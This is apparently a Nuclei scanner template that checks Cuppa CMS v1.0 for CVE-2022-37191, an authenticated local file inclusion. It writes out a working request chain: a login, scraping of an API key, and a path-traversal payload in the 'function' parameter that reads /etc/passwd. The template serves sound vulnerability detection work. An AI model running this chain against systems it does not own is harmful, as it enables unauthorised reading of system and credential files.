Cuppa CMS v1.0 - Authenticated Local File Inclusion

id: CVE-2022-37191

info:
  name: Cuppa CMS v1.0 - Authenticated Local File Inclusion
  author: theamanrawat
  severity: medium
  description: |
    The component "cuppa/api/index.php" of CuppaCMS v1.0 is Vulnerable to LFI. An authenticated user can read system files via crafted POST request using [function] parameter value as LFI payload.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the authenticated local file inclusion vulnerability in Cuppa CMS v1.0.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37191
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-37191
    cwe-id: CWE-829
    epss-score: 0.03317
    epss-percentile: 0.8868
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,lfi,cuppa,authenticated,cuppacms,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        POST /components/table_manager/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        path=component%2Ftable_manager%2Fview%2Fcu_api_keys
      - |
        POST /api/index.php HTTP/1.1
        Host: {{Hostname}}
        key: {{apikey}}
        Content-Type: application/x-www-form-urlencoded

        function=./../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd/

    matchers-condition: and
    matchers:
      - type: word
        part: header_3
        words:
          - "text/html"

      - type: regex
        part: body_3
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: apikey
        group: 1
        regex:
          - "<td class='td_key'>(.*?)</td>"
        internal: true